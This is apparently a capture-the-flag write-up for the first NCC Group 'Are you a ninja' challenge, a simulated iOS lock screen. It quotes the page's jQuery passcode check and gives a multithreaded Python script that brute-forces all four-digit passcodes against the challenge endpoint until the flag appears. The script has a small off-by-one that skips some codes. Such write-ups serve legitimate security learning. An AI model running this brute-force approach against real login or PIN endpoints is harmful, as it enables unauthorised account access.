I recently discovered NCC Group’s “Are you a ninja” challenges. This is the first challenge on the site. I hope to complete them all and make a series out of it.

chall

In this challenge they start us off easy. My first instinct was to poke around the javascript source, specifically in a file called iOS.js.

function checkPasscode(passcode) {
$.post("", {
    passcode: enteredCode
  }, function(result) {
    var res = result;
    if (res == "Try Again") {
      console.log("wrong passcode");$(".lock-status").effect("shake");
// need if statement for different IOS versions
if ($(".keys").length) {
        // make h.box go red$(".header-msg").css('background-color', 'red');
// say wrong passcode
$('input[type="password"]').each(function() {$(this).val("");
});
setTimeout(function(){ $(".header-msg").css('background-color',''); },1500)
      } else {$('input[type="radio"]').each(function() {
$(this).effect("shake");$(this).prop("checked", false);
});
}

      enteredCode = "";
    } else {
      // correctly entered passcode
      $(".unlockscreen").hide();
      $(".unlockedscreen").html(result);
      $(".unlockedscreen").fadeIn();
    }

});

From looking at the source, this codes POSTs with the provided passcode (passed into the function) to some API, and the server (presumably) returns the flag when the right passcode is entered. Just changing the res in an HTTP proxy (like Burp Suite), did trick the client-side code into thinking we received a valid response, but obviously didn’t print the flag.

I opened up the network tab of chrome to take a peek at the response. With the 10000/hr limit on requests, it seemed pretty obvious that this first challenge was a bruteforce one. With that in mind, I wanted to do something a little more interesting than my normal brute script. I decided to multithread the script. This script spawns 20 threads, each in charge of testing 500 passcodes.

ratelimit

import requests
import threading
import logging
import sys

URL = "https://challenges.ncc.ninja/<ID>/"
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHTTPRequest"}

logging.basicConfig(
filename='ios5.log',
level=logging.DEBUG,
format='[%(levelname)s](<%(threadName)-10s>) %(message)s',
)

def worker(start, end):
logging.debug(str(start))
logging.debug(str(end))
for i in range(start, end):
data = {"passcode": str(i).zfill(4)}
logging.debug(str(i).zfill(4))
r = requests.post(URL, data=data, headers=headers)
logging.debug(r.status_code)
logging.debug(r.text)
if r.text != "Try Again":
logging.info("[-] The passcode is: " + str(i).zfill(4))
logging.debug("===")
logging.debug(r.text)
logging.debug(r.status_code)
logging.debug(str(i).zfill(4))
logging.debug("===")

# 20 chunks of 500

threads = []
for i in range(0, 20):
print("Starting thread"+str(i))
start = 500*i
end = ((500*i)+500)-1
t = threading.Thread(name=str(start)+"-"+str(end),
target=worker, args=(start, end))
threads.append(t)
t.start()

Letting the script run for a while, we eventually end up with a valid passcode, and the flag logged into our output file. We can enter the passcode ourselves too.

ios-done